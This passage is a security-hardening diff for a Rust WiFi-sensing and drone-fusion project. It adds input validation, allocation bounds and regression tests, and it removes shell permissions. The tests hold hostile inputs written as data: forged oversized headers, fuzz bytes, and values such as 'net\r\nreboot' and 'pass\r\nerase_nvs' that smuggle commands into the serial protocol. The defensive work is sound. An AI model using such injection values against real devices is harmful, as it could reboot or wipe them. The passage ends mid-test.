// `is_some()` and would propagate through the confidence-weighted average
|
||||
// into the fused position — dispatching a NaN "confirmed victim" location
|
||||
// to the swarm. A NaN `confidence` is already rejected by `>= min_confidence`
|
||||
// (NaN comparisons are false), but we make that explicit and also require
|
||||
// the victim position components to be finite. Fail CLOSED: drop poisoned
|
||||
// detections rather than fusing them.
|
||||
let valid: Vec<(&CsiDetection, &Position3D)> = detections
|
||||
.iter()
|
||||
.filter(|d| d.confidence >= self.min_confidence && d.victim_position.is_some())
|
||||
.filter(|d| {
|
||||
d.confidence.is_finite()
|
||||
&& d.confidence >= self.min_confidence
|
||||
&& d.victim_position
|
||||
.map(|p| p.x.is_finite() && p.y.is_finite() && p.z.is_finite())
|
||||
.unwrap_or(false)
|
||||
})
|
||||
.filter_map(|d| {
|
||||
let drone_pos = drone_positions
|
||||
.iter()
|
||||
@@ -177,4 +192,46 @@ mod tests {
|
||||
result.uncertainty_m
|
||||
);
|
||||
}
|
||||
|
||||
/// Security: a detection with a NaN victim position (poisoned peer report)
|
||||
/// must be dropped, not fused. Fails on old code where the NaN propagates
|
||||
/// into the confidence-weighted average and the fused position is NaN.
|
||||
#[test]
|
||||
fn test_nan_victim_position_dropped_from_fusion() {
|
||||
let fusion = MultiViewFusion { min_viewpoints: 2, min_confidence: 0.5 };
|
||||
let detections = vec![
|
||||
CsiDetection {
|
||||
drone_id: NodeId(0),
|
||||
confidence: 0.9,
|
||||
victim_position: Some(Position3D { x: 50.0, y: 50.0, z: 0.0 }),
|
||||
timestamp_ms: 0,
|
||||
},
|
||||
CsiDetection {
|
||||
drone_id: NodeId(1),
|
||||
confidence: 0.9,
|
||||
victim_position: Some(Position3D { x: f64::NAN, y: 50.0, z: 0.0 }),
|
||||
timestamp_ms: 0,
|
||||
},
|
||||
CsiDetection {
|
||||
drone_id: NodeId(2),
|
||||
confidence: 0.9,
|
||||
victim_position: Some(Position3D { x: 50.0, y: 50.0, z: 0.0 }),
|
||||
timestamp_ms: 0,
|
||||
},
|
||||
];
|
||||
let positions = vec![
|
||||
(NodeId(0), Position3D { x: 0.0, y: 0.0, z: -30.0 }),
|
||||
(NodeId(1), Position3D { x: 100.0, y: 0.0, z: -30.0 }),
|
||||
(NodeId(2), Position3D { x: 50.0, y: 86.6, z: -30.0 }),
|
||||
];
|
||||
// Two finite viewpoints remain → still fuses, but the result must be finite.
|
||||
let result = fusion.fuse(&detections, &positions).unwrap();
|
||||
assert!(
|
||||
result.estimated_position.x.is_finite()
|
||||
&& result.estimated_position.y.is_finite()
|
||||
&& result.estimated_position.z.is_finite(),
|
||||
"fused position must be finite when a NaN detection is present"
|
||||
);
|
||||
assert!(!result.contributing_drones.contains(&NodeId(1)), "NaN detection must be excluded");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -471,6 +471,54 @@ mod tests {
|
||||
assert!(ht.record(&f).is_err());
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06, ADR-127): the UDP parser is the CLI's
|
||||
/// widest attack surface — `calibrate` / `enroll` / `room-watch` bind it to
|
||||
/// 0.0.0.0 by default, so any host on the LAN can send arbitrary bytes. A
|
||||
/// header that *claims* a huge `n_antennas * n_subcarriers` must be rejected
|
||||
/// by the length check BEFORE the `Array2::zeros` allocation, so a single
|
||||
/// small datagram can never trigger a multi-MB allocation (unbounded-memory
|
||||
/// DoS). The largest possible claim (255 × 65535 pairs ≈ 33 MB of IQ) inside
|
||||
/// a RECV_BUF-sized (2048-byte) datagram parses to `None`, never OOMs.
|
||||
#[test]
|
||||
fn test_parse_csi_packet_oversized_claim_is_rejected_not_allocated() {
|
||||
let mut buf = vec![0u8; RECV_BUF];
|
||||
buf[0..4].copy_from_slice(&0xC511_0001u32.to_le_bytes());
|
||||
buf[4] = 1; // node_id
|
||||
buf[5] = 255; // n_antennas (max)
|
||||
buf[6..8].copy_from_slice(&65535u16.to_le_bytes()); // n_subcarriers (max)
|
||||
buf[8..12].copy_from_slice(&2432u32.to_le_bytes());
|
||||
// n_pairs = 255 * 65535 = 16_711_425 → needs ~33 MB of IQ bytes that a
|
||||
// 2048-byte datagram cannot carry → length check fails → None.
|
||||
assert!(parse_csi_packet(&buf, "ht20").is_none());
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06): the parser must never panic on ANY byte
|
||||
/// string — truncated headers, lying length fields, odd sizes. IQ-loop
|
||||
/// indexing is guarded by the length check; this sweeps a spread of
|
||||
/// adversarial inputs to lock in panic-on-adversarial-input = 0.
|
||||
#[test]
|
||||
fn test_parse_csi_packet_never_panics_on_arbitrary_bytes() {
|
||||
let mut st = 0x1234_5678u64;
|
||||
let mut next = move || {
|
||||
st = st
|
||||
.wrapping_mul(6_364_136_223_846_793_005)
|
||||
.wrapping_add(1_442_695_040_888_963_407);
|
||||
(st >> 33) as u8
|
||||
};
|
||||
for len in 0..600usize {
|
||||
let buf: Vec<u8> = (0..len).map(|_| next()).collect();
|
||||
for tier in ["ht20", "he20", "garbage"] {
|
||||
let _ = parse_csi_packet(&buf, tier);
|
||||
}
|
||||
}
|
||||
// Valid magic, lying n_subcarriers, no payload → None (not a panic).
|
||||
let mut buf = vec![0u8; 20];
|
||||
buf[0..4].copy_from_slice(&0xC511_0001u32.to_le_bytes());
|
||||
buf[5] = 3;
|
||||
buf[6..8].copy_from_slice(&500u16.to_le_bytes());
|
||||
assert!(parse_csi_packet(&buf, "ht20").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_freq_to_channel_24ghz() {
|
||||
assert_eq!(freq_mhz_to_channel(2437), 6);
|
||||
|
||||
@@ -1636,6 +1636,67 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06, ADR-127) — `from_canonical_bytes` is a
|
||||
/// deserialisation boundary for replayed/forwarded captures. A forged header
|
||||
/// advertising an enormous `rows × cols` must be rejected by the
|
||||
/// shape-vs-length check (`expect` uses saturating multiplies) BEFORE the
|
||||
/// `Vec::with_capacity(rows * cols)` allocation — otherwise an attacker could
|
||||
/// drive a multi-GB allocation from a few header bytes (unbounded-memory
|
||||
/// DoS). The check guarantees `rows*cols*16 <= bytes.len()`, so the capacity
|
||||
/// is bounded by the input the caller already holds. This must not OOM.
|
||||
#[test]
|
||||
fn canonical_decode_oversized_shape_is_bounded_not_allocated() {
|
||||
use ndarray::Array2;
|
||||
let meta = CsiMetadata::new(DeviceId::new("n"), FrequencyBand::Band2_4GHz, 1);
|
||||
let data = Array2::from_shape_fn((1, 2), |(_, c)| Complex64::new(c as f64, 0.0));
|
||||
let mut bytes = CsiFrame::new(meta, data).to_canonical_bytes();
|
||||
|
||||
// The (rows, cols) u32 pair is the last 8 bytes before the payload.
|
||||
// Overwrite with a maximal claim (u32::MAX × u32::MAX) and lop off the
|
||||
// payload so the buffer is tiny but the header lies enormously.
|
||||
let shape_off = bytes.len() - 8 - 2 * 16; // 2 samples × 16 bytes payload
|
||||
bytes[shape_off..shape_off + 4].copy_from_slice(&u32::MAX.to_le_bytes());
|
||||
bytes[shape_off + 4..shape_off + 8].copy_from_slice(&u32::MAX.to_le_bytes());
|
||||
bytes.truncate(shape_off + 8); // drop the real payload
|
||||
|
||||
// expect = MAX*MAX*16 (saturated) > found → PayloadMismatch, no alloc.
|
||||
assert!(matches!(
|
||||
CsiFrame::from_canonical_bytes(&bytes),
|
||||
Err(CanonicalDecodeError::PayloadMismatch { .. })
|
||||
));
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06) — the decoder must never panic on arbitrary
|
||||
/// bytes: every malformed input is a typed `CanonicalDecodeError`, never an
|
||||
/// unwinding panic (panic-on-adversarial-input = 0). Sweep truncations and a
|
||||
/// deterministic fuzz spread.
|
||||
#[test]
|
||||
fn canonical_decode_never_panics_on_arbitrary_bytes() {
|
||||
use ndarray::Array2;
|
||||
let mut meta = CsiMetadata::new(DeviceId::new("node"), FrequencyBand::Band5GHz, 36);
|
||||
meta.antenna_config.spacing_mm = Some(50.0);
|
||||
let data = Array2::from_shape_fn((2, 8), |(r, c)| Complex64::new(r as f64, c as f64));
|
||||
let good = CsiFrame::new(meta, data).to_canonical_bytes();
|
||||
|
||||
// Every prefix of a valid encoding must decode without panicking.
|
||||
for n in 0..good.len() {
|
||||
let _ = CsiFrame::from_canonical_bytes(&good[..n]);
|
||||
}
|
||||
// Deterministic LCG fuzz over varied lengths.
|
||||
let mut st = 0xDEAD_BEEFu64;
|
||||
for len in 0..400usize {
|
||||
let buf: Vec<u8> = (0..len)
|
||||
.map(|_| {
|
||||
st = st
|
||||
.wrapping_mul(6_364_136_223_846_793_005)
|
||||
.wrapping_add(1_442_695_040_888_963_407);
|
||||
(st >> 33) as u8
|
||||
})
|
||||
.collect();
|
||||
let _ = CsiFrame::from_canonical_bytes(&buf);
|
||||
}
|
||||
}
|
||||
|
||||
/// AC8c (review finding 7) — `Some(Uuid::nil())` calibration is an
|
||||
/// encoding error: nil is the wire sentinel for `None`, so encoding it
|
||||
/// would alias two distinct frames to one byte string (and one witness).
|
||||
|
||||
@@ -4,8 +4,6 @@
|
||||
"windows": ["main"],
|
||||
"permissions": [
|
||||
"core:default",
|
||||
"shell:allow-execute",
|
||||
"shell:allow-open",
|
||||
"dialog:allow-open",
|
||||
"dialog:allow-save"
|
||||
]
|
||||
|
||||
@@ -1 +1 @@
|
||||
{"default":{"identifier":"default","description":"RuView default capability set","local":true,"windows":["main"],"permissions":["core:default","shell:allow-execute","shell:allow-open","dialog:allow-open","dialog:allow-save"]}}
|
||||
{"default":{"identifier":"default","description":"RuView default capability set","local":true,"windows":["main"],"permissions":["core:default","dialog:allow-open","dialog:allow-save"]}}
|
||||
@@ -430,6 +430,35 @@ fn is_esp32_compatible(vid: u16, pid: u16) -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
/// Validate WiFi credentials before they are interpolated into a
|
||||
/// newline-delimited serial command protocol.
|
||||
///
|
||||
/// The ESP32 firmware accepts line-oriented commands such as
|
||||
/// `wifi_config <ssid> <password>\r\n`. Because the SSID and password
|
||||
/// arrive from the webview (untrusted) and are concatenated directly into
|
||||
/// those command strings, a control character (`\r`, `\n`, or NUL) embedded
|
||||
/// in either field would let a malicious caller terminate the current line
|
||||
/// early and inject an arbitrary follow-up command (e.g. `reboot`, `erase`).
|
||||
///
|
||||
/// Enforce the IEEE 802.11 / WPA2 bounds and reject any control characters:
|
||||
/// - SSID: 1-32 bytes, no control characters
|
||||
/// - Password: 8-63 bytes (WPA2 PSK ASCII range), no control characters
|
||||
fn validate_wifi_credentials(ssid: &str, password: &str) -> Result<(), String> {
|
||||
if ssid.is_empty() || ssid.len() > 32 {
|
||||
return Err("SSID must be 1-32 characters".into());
|
||||
}
|
||||
if password.len() < 8 || password.len() > 63 {
|
||||
return Err("WiFi password must be 8-63 characters".into());
|
||||
}
|
||||
if ssid.chars().any(|c| c.is_control()) {
|
||||
return Err("SSID must not contain control characters".into());
|
||||
}
|
||||
if password.chars().any(|c| c.is_control()) {
|
||||
return Err("WiFi password must not contain control characters".into());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Configure WiFi credentials on an ESP32 via serial port.
|
||||
///
|
||||
/// Sends WiFi credentials to the ESP32 using a simple serial protocol.
|
||||
@@ -443,6 +472,10 @@ pub async fn configure_esp32_wifi(
|
||||
use std::io::{Read, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
// Reject control characters / out-of-range lengths before the credentials
|
||||
// are spliced into the line-oriented serial command protocol below.
|
||||
validate_wifi_credentials(&ssid, &password)?;
|
||||
|
||||
tracing::info!("Configuring WiFi on port: {}", port);
|
||||
|
||||
// Open serial port
|
||||
@@ -549,6 +582,37 @@ mod tests {
|
||||
assert_eq!(node.tdm_total, Some(4));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_wifi_credentials_accepts_valid() {
|
||||
assert!(validate_wifi_credentials("MyNetwork", "password123").is_ok());
|
||||
// Boundary: 32-char SSID, 63-char password are allowed.
|
||||
assert!(validate_wifi_credentials(&"A".repeat(32), &"B".repeat(63)).is_ok());
|
||||
// Boundary: 8-char password (WPA2 minimum) is allowed.
|
||||
assert!(validate_wifi_credentials("net", "12345678").is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_wifi_credentials_rejects_injection() {
|
||||
// Newline/CR in SSID would terminate the serial command line early and
|
||||
// let the caller inject a follow-up firmware command. Must be rejected.
|
||||
assert!(validate_wifi_credentials("net\r\nreboot", "password123").is_err());
|
||||
assert!(validate_wifi_credentials("net\ninjected", "password123").is_err());
|
||||
// Same vector via the password field.
|
||||
assert!(validate_wifi_credentials("net", "pass\r\nerase_nvs").is_err());
|
||||
// Embedded NUL.
|
||||
assert!(validate_wifi_credentials("net", "pass\0word1").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_wifi_credentials_rejects_out_of_range() {
|
||||
// Empty / over-length SSID.
|
||||
assert!(validate_wifi_credentials("", "password123").is_err());
|
||||
assert!(validate_wifi_credentials(&"A".repeat(33), "password123").is_err());
|
||||
// Too-short / too-long password (WPA2 PSK bounds).
|
||||
assert!(validate_wifi_credentials("net", "short").is_err());
|
||||
assert!(validate_wifi_credentials("net", &"B".repeat(64)).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_is_esp32_compatible() {
|
||||
// CP2102
|
||||
|
||||
@@ -220,6 +220,9 @@ fn create_test_sensors(count: usize) -> Vec<SensorPosition> {
|
||||
z: 1.5,
|
||||
sensor_type: SensorType::Transceiver,
|
||||
is_operational: true,
|
||||
// No live RSSI plumbed for synthetic bench sensors (simulated
|
||||
// zone) — localization must not fabricate one.
|
||||
last_rssi: None,
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
|
||||
@@ -206,6 +206,27 @@ impl OccWorldCandle {
|
||||
)));
|
||||
}
|
||||
|
||||
// Validate the externally-supplied frame and batch counts at this
|
||||
// system boundary. The temporal positional embedding has only
|
||||
// `num_frames * 2` rows, so a larger `f_in` would over-index the
|
||||
// embedding table deep inside the transformer and surface as a cryptic
|
||||
// "gather" index error; a zero frame/batch count would feed a
|
||||
// zero-element tensor into the reshape/conv pipeline. Reject both here
|
||||
// with a clear, domain-level error instead.
|
||||
if f_in == 0 || b == 0 {
|
||||
return Err(OccWorldError::ShapeMismatch(format!(
|
||||
"past_occupancy must have non-zero batch and frame dims, got \
|
||||
batch={b}, frames={f_in}"
|
||||
)));
|
||||
}
|
||||
if f_in > cfg.num_frames * 2 {
|
||||
return Err(OccWorldError::ShapeMismatch(format!(
|
||||
"past_occupancy frame count {f_in} exceeds the temporal embedding \
|
||||
capacity ({} = num_frames*2)",
|
||||
cfg.num_frames * 2
|
||||
)));
|
||||
}
|
||||
|
||||
// ── Step 1: VQVAE encode each past frame ──────────────────────────
|
||||
// Flatten batch*frames: (B, F, H, W, D) → (B*F, H, W, D)
|
||||
let occ_flat = past_occupancy
|
||||
@@ -455,4 +476,8 @@ mod tests {
|
||||
"expected CheckpointNotFound, got {result:?}"
|
||||
);
|
||||
}
|
||||
|
||||
// The `predict` input-validation boundary guards (zero/over-capacity frame
|
||||
// counts) live in `tests/input_validation.rs` so they exercise only the
|
||||
// public API and keep this file under the 500-line limit.
|
||||
}
|
||||
|
||||
@@ -92,8 +92,21 @@ fn safetensor_dtype_to_candle(dt: safetensors::Dtype) -> Option<candle_core::DTy
|
||||
Dtype::F64 => Some(DType::F64),
|
||||
Dtype::F16 => Some(DType::F16),
|
||||
Dtype::BF16 => Some(DType::BF16),
|
||||
Dtype::I32 => Some(DType::I64), // widen for Candle compatibility
|
||||
// I32 MUST map to DType::I32, not I64. `Tensor::from_raw_buffer`
|
||||
// derives its element count from `data.len() / dtype.size_in_bytes()`;
|
||||
// handing an int32 byte buffer (4 bytes/elem) to the I64 path
|
||||
// (8 bytes/elem) halves the element count while keeping the original
|
||||
// shape, producing a tensor whose declared shape claims twice as many
|
||||
// elements as its storage holds. That silent shape/storage mismatch
|
||||
// panics (slice OOB) the moment the tensor is read — a crash on any
|
||||
// checkpoint containing an int32 tensor. See
|
||||
// `tests/checkpoint_loading.rs::int32_tensor_loads_with_consistent_shape_and_values`.
|
||||
Dtype::I32 => Some(DType::I32),
|
||||
Dtype::I64 => Some(DType::I64),
|
||||
// I16 is also a first-class Candle dtype (2 bytes/elem); map it
|
||||
// directly rather than rejecting it, for the same byte-size-correctness
|
||||
// reason as I32 above.
|
||||
Dtype::I16 => Some(DType::I16),
|
||||
Dtype::U8 => Some(DType::U8),
|
||||
Dtype::U32 => Some(DType::U32),
|
||||
_ => None,
|
||||
|
||||
@@ -137,6 +137,17 @@ impl VQCodebook {
|
||||
let orig_shape = z.shape().clone();
|
||||
let orig_dims = orig_shape.dims().to_vec();
|
||||
let last = *orig_shape.dims().last().unwrap_or(&0);
|
||||
// Guard the divide below: a scalar (rank-0) or empty-last-dim tensor
|
||||
// would make `last == 0` and panic on the `elem_count() / last`
|
||||
// division. `encode` is a `pub fn` on a `pub struct`, so this is a
|
||||
// reachable public boundary — fail closed with a clear error instead.
|
||||
if last == 0 {
|
||||
return Err(candle_core::Error::Msg(format!(
|
||||
"VQCodebook::encode expects a tensor with a non-zero last dim of \
|
||||
size embed_dim={}, got shape {orig_dims:?}",
|
||||
self.embed_dim
|
||||
)));
|
||||
}
|
||||
// Flatten to (N, embed_dim)
|
||||
let n = z.elem_count() / last;
|
||||
let z_flat = z.reshape((n, last))?; // (N, D)
|
||||
@@ -339,6 +350,21 @@ mod tests {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn encode_rejects_scalar_without_panicking() {
|
||||
// A rank-0 (scalar) tensor has an empty dims list → `last == 0`.
|
||||
// Before the guard this divided by zero and panicked; now it returns
|
||||
// a clean error. `encode` is public, so this is a reachable boundary.
|
||||
let device = Device::Cpu;
|
||||
let codebook = VQCodebook::dummy(4, 8, &device).unwrap();
|
||||
let scalar = Tensor::from_vec(vec![1.0f32], (), &device).unwrap();
|
||||
let result = codebook.encode(&scalar);
|
||||
assert!(
|
||||
result.is_err(),
|
||||
"scalar input must error, not panic; got {result:?}"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_fold_unfold_roundtrip() -> candle_core::Result<()> {
|
||||
let device = Device::Cpu;
|
||||
|
||||
@@ -0,0 +1,185 @@
|
||||
//! Checkpoint-loading robustness tests for `crate::model::load_safetensors`.
|
||||
//!
|
||||
//! Security review (Milestone #9, crate 4/4). These tests pin the behaviour of
|
||||
//! the SafeTensors weight-loading path against malformed / degenerate
|
||||
//! checkpoints — the only externally-controlled file-input surface in the crate.
|
||||
//!
|
||||
//! The headline regression is the **int32 dtype-widening byte-size bug**
|
||||
//! (`security/occworld-candle` finding #1): `model.rs` mapped
|
||||
//! `safetensors::Dtype::I32` → `candle_core::DType::I64` and then handed the
|
||||
//! raw *int32* byte buffer (4 bytes/elem) to `Tensor::from_raw_buffer(.., I64,
|
||||
//! shape, ..)`. Candle's `from_raw_buffer` computes `elem_count =
|
||||
//! data.len() / 8`, producing a tensor whose declared shape claims twice as
|
||||
//! many elements as the backing storage actually holds — a silent
|
||||
//! shape/storage inconsistency on attacker-supplied checkpoints.
|
||||
//!
|
||||
//! `build_safetensors` hand-assembles the binary container
|
||||
//! (`<u64 LE header_len><JSON header><raw data>`) so the test states exactly
|
||||
//! what bytes reach the loader, independent of the `safetensors` writer API.
|
||||
|
||||
use candle_core::Device;
|
||||
use wifi_densepose_occworld_candle::model::load_safetensors;
|
||||
|
||||
/// Hand-build a single-tensor SafeTensors buffer.
|
||||
///
|
||||
/// `dtype` is the safetensors dtype string (e.g. `"I32"`, `"F32"`).
|
||||
/// `shape` is the declared shape. `data` is the raw little-endian tensor bytes
|
||||
/// — the caller is responsible for making `data.len()` consistent with
|
||||
/// `shape × dtype_size` (safetensors itself validates this, so an inconsistent
|
||||
/// pair is rejected before reaching the candle conversion).
|
||||
fn build_safetensors(name: &str, dtype: &str, shape: &[usize], data: &[u8]) -> Vec<u8> {
|
||||
let shape_json: Vec<String> = shape.iter().map(|d| d.to_string()).collect();
|
||||
let header = format!(
|
||||
"{{\"{name}\":{{\"dtype\":\"{dtype}\",\"shape\":[{}],\"data_offsets\":[0,{}]}}}}",
|
||||
shape_json.join(","),
|
||||
data.len()
|
||||
);
|
||||
let header_bytes = header.into_bytes();
|
||||
let mut buf = Vec::new();
|
||||
buf.extend_from_slice(&(header_bytes.len() as u64).to_le_bytes());
|
||||
buf.extend_from_slice(&header_bytes);
|
||||
buf.extend_from_slice(data);
|
||||
buf
|
||||
}
|
||||
|
||||
fn write_temp(bytes: &[u8], stem: &str) -> std::path::PathBuf {
|
||||
let mut p = std::env::temp_dir();
|
||||
p.push(format!(
|
||||
"occworld_ckpt_{stem}_{}_{}.safetensors",
|
||||
std::process::id(),
|
||||
// nanosecond-ish disambiguator so parallel tests never collide
|
||||
std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos())
|
||||
.unwrap_or(0)
|
||||
));
|
||||
std::fs::write(&p, bytes).expect("write temp checkpoint");
|
||||
p
|
||||
}
|
||||
|
||||
/// REGRESSION (finding #1): an int32 tensor in a checkpoint must load into a
|
||||
/// tensor whose element count matches its declared shape.
|
||||
///
|
||||
/// On the OLD code (`I32 -> DType::I64`) the 6-element int32 tensor below was
|
||||
/// handed to `from_raw_buffer(.., I64, [2,3], ..)`, which derived
|
||||
/// `elem_count = 24 bytes / 8 = 3` and built a 3-element storage carrying a
|
||||
/// shape claiming 6 elements — reading it panicked with a slice-OOB
|
||||
/// (`range end index 6 out of range for slice of length 3`). On the FIXED code
|
||||
/// (`I32 -> DType::I32`) the tensor round-trips: dtype I32, 6 elements,
|
||||
/// values `[1,2,3,4,5,6]`.
|
||||
#[test]
|
||||
fn int32_tensor_loads_with_consistent_shape_and_values() {
|
||||
let device = Device::Cpu;
|
||||
let shape = [2usize, 3];
|
||||
let vals: [i32; 6] = [1, 2, 3, 4, 5, 6];
|
||||
let mut data = Vec::with_capacity(24);
|
||||
for v in vals {
|
||||
data.extend_from_slice(&v.to_le_bytes());
|
||||
}
|
||||
let bytes = build_safetensors("quantize.embedding.weight", "I32", &shape, &data);
|
||||
let path = write_temp(&bytes, "i32");
|
||||
|
||||
let map = load_safetensors(&path, &device).expect("int32 checkpoint must load");
|
||||
let t = map
|
||||
.get("quantize.embedding.weight")
|
||||
.expect("mapped key present");
|
||||
|
||||
// The declared shape's element count MUST equal the storage's element
|
||||
// count. On the old code these disagreed (6 vs 3).
|
||||
assert_eq!(
|
||||
t.dims(),
|
||||
&[2, 3],
|
||||
"int32 tensor must preserve its declared shape"
|
||||
);
|
||||
assert_eq!(
|
||||
t.elem_count(),
|
||||
6,
|
||||
"element count must match shape — storage/shape consistency"
|
||||
);
|
||||
|
||||
// The dtype must be I32 — the int32 byte buffer is interpreted as int32,
|
||||
// not reinterpreted as half as many int64 lanes.
|
||||
assert_eq!(
|
||||
t.dtype(),
|
||||
candle_core::DType::I32,
|
||||
"int32 checkpoint tensor must load as DType::I32"
|
||||
);
|
||||
|
||||
// And the values must be exactly recovered (no reinterpretation of two
|
||||
// int32 lanes as one int64). This is the strongest proof the dtype is
|
||||
// handled correctly end-to-end.
|
||||
let flat = t.flatten_all().expect("flatten");
|
||||
let got: Vec<i32> = flat.to_vec1::<i32>().expect("to_vec i32");
|
||||
assert_eq!(
|
||||
got,
|
||||
vec![1i32, 2, 3, 4, 5, 6],
|
||||
"int32 values must be recovered exactly"
|
||||
);
|
||||
|
||||
let _ = std::fs::remove_file(&path);
|
||||
}
|
||||
|
||||
/// A well-formed F32 tensor must round-trip unchanged (control case — proves
|
||||
/// the fix does not regress the common float path).
|
||||
#[test]
|
||||
fn f32_tensor_round_trips() {
|
||||
let device = Device::Cpu;
|
||||
let shape = [4usize];
|
||||
let vals: [f32; 4] = [0.5, -1.0, 2.25, 3.0];
|
||||
let mut data = Vec::with_capacity(16);
|
||||
for v in vals {
|
||||
data.extend_from_slice(&v.to_le_bytes());
|
||||
}
|
||||
let bytes = build_safetensors("post_quant_conv.bias", "F32", &shape, &data);
|
||||
let path = write_temp(&bytes, "f32");
|
||||
|
||||
let map = load_safetensors(&path, &device).expect("f32 checkpoint must load");
|
||||
let t = map.get("post_quant_conv.bias").expect("key present");
|
||||
assert_eq!(t.dims(), &[4]);
|
||||
let got: Vec<f32> = t.to_vec1::<f32>().expect("to_vec f32");
|
||||
assert_eq!(got, vec![0.5, -1.0, 2.25, 3.0]);
|
||||
|
||||
let _ = std::fs::remove_file(&path);
|
||||
}
|
||||
|
||||
/// A truncated / corrupt header must produce a parse error, never a panic.
|
||||
/// (Defense-in-depth: the loader is fed an untrusted file.)
|
||||
#[test]
|
||||
fn corrupt_checkpoint_errors_cleanly() {
|
||||
let device = Device::Cpu;
|
||||
// Garbage that is not a valid SafeTensors container.
|
||||
let bytes = vec![0xFFu8; 32];
|
||||
let path = write_temp(&bytes, "corrupt");
|
||||
|
||||
let result = load_safetensors(&path, &device);
|
||||
assert!(
|
||||
result.is_err(),
|
||||
"corrupt checkpoint must error, got Ok: {result:?}"
|
||||
);
|
||||
|
||||
let _ = std::fs::remove_file(&path);
|
||||
}
|
||||
|
||||
/// An int64 tensor must still load correctly (proves the fix narrows only the
|
||||
/// I32 mapping and leaves the genuine I64 path intact).
|
||||
#[test]
|
||||
fn int64_tensor_round_trips() {
|
||||
let device = Device::Cpu;
|
||||
let shape = [3usize];
|
||||
let vals: [i64; 3] = [10, -20, 30];
|
||||
let mut data = Vec::with_capacity(24);
|
||||
for v in vals {
|
||||
data.extend_from_slice(&v.to_le_bytes());
|
||||
}
|
||||
let bytes = build_safetensors("transformer.output_head.bias", "I64", &shape, &data);
|
||||
let path = write_temp(&bytes, "i64");
|
||||
|
||||
let map = load_safetensors(&path, &device).expect("i64 checkpoint must load");
|
||||
let t = map.get("transformer.output_head.bias").expect("key present");
|
||||
assert_eq!(t.dims(), &[3]);
|
||||
assert_eq!(t.elem_count(), 3);
|
||||
let got: Vec<i64> = t.to_vec1::<i64>().expect("to_vec i64");
|
||||
assert_eq!(got, vec![10, -20, 30]);
|
||||
|
||||
let _ = std::fs::remove_file(&path);
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
//! Input-validation boundary tests for `OccWorldCandle::predict`.
|
||||
//!
|
||||
//! Security review (Milestone #9, crate 4/4). `predict` takes an
|
||||
//! externally-supplied occupancy tensor; per the project's "validate input at
|
||||
//! system boundaries" rule it must reject degenerate / out-of-capacity shapes
|
||||
//! with a clear domain error rather than surfacing a cryptic deep-pipeline
|
||||
//! Candle error (over-capacity frame counts over-index the temporal positional
|
||||
//! embedding) or processing a zero-element tensor.
|
||||
//!
|
||||
//! These exercise only the public API and live here (not inline in
|
||||
//! `inference.rs`) to keep that module under the 500-line cap.
|
||||
|
||||
use candle_core::{DType, Device, Tensor};
|
||||
use wifi_densepose_occworld_candle::config::OccWorldConfig;
|
||||
use wifi_densepose_occworld_candle::inference::OccWorldCandle;
|
||||
use wifi_densepose_occworld_candle::error::OccWorldError;
|
||||
|
||||
fn small_cfg() -> OccWorldConfig {
|
||||
OccWorldConfig {
|
||||
grid_h: 8,
|
||||
grid_w: 8,
|
||||
grid_d: 4,
|
||||
num_classes: 4,
|
||||
free_class: 3,
|
||||
base_channels: 8,
|
||||
z_channels: 8,
|
||||
codebook_size: 4,
|
||||
embed_dim: 8,
|
||||
num_frames: 2,
|
||||
token_h: 4,
|
||||
token_w: 4,
|
||||
num_heads: 2,
|
||||
num_layers: 1,
|
||||
ffn_hidden: 16,
|
||||
}
|
||||
}
|
||||
|
||||
/// Zero frames is a degenerate input that would otherwise feed a zero-element
|
||||
/// tensor into the reshape/conv pipeline. Must be rejected at the boundary.
|
||||
#[test]
|
||||
fn predict_rejects_zero_frames() {
|
||||
let device = Device::Cpu;
|
||||
let cfg = small_cfg();
|
||||
let engine = OccWorldCandle::dummy(cfg.clone(), device.clone()).unwrap();
|
||||
let past = Tensor::zeros(
|
||||
(1usize, 0usize, cfg.grid_h, cfg.grid_w, cfg.grid_d),
|
||||
DType::U8,
|
||||
&device,
|
||||
)
|
||||
.unwrap();
|
||||
let result = engine.predict(&past);
|
||||
assert!(
|
||||
matches!(result, Err(OccWorldError::ShapeMismatch(_))),
|
||||
"zero-frame input must be rejected with ShapeMismatch"
|
||||
);
|
||||
}
|
||||
|
||||
/// Zero batch must also be rejected (same zero-element-tensor hazard).
|
||||
#[test]
|
||||
fn predict_rejects_zero_batch() {
|
||||
let device = Device::Cpu;
|
||||
let cfg = small_cfg();
|
||||
let engine = OccWorldCandle::dummy(cfg.clone(), device.clone()).unwrap();
|
||||
let past = Tensor::zeros(
|
||||
(0usize, cfg.num_frames, cfg.grid_h, cfg.grid_w, cfg.grid_d),
|
||||
DType::U8,
|
||||
&device,
|
||||
)
|
||||
.unwrap();
|
||||
let result = engine.predict(&past);
|
||||
assert!(
|
||||
matches!(result, Err(OccWorldError::ShapeMismatch(_))),
|
||||
"zero-batch input must be rejected with ShapeMismatch"
|
||||
);
|
||||
}
|
||||
|
||||
/// More frames than the temporal embedding can index (`> num_frames*2`).
|
||||
///
|
||||
/// On the old code this over-indexed the temporal positional embedding deep in
|
||||
/// the transformer and surfaced as a cryptic Candle "gather" `InvalidIndex`
|
||||
/// error. The boundary guard now rejects it cleanly with `ShapeMismatch`.
|
||||
#[test]
|
||||
fn predict_rejects_too_many_frames() {
|
||||
let device = Device::Cpu;
|
||||
let cfg = small_cfg(); // num_frames = 2 → temporal capacity = 4
|
||||
let engine = OccWorldCandle::dummy(cfg.clone(), device.clone()).unwrap();
|
||||
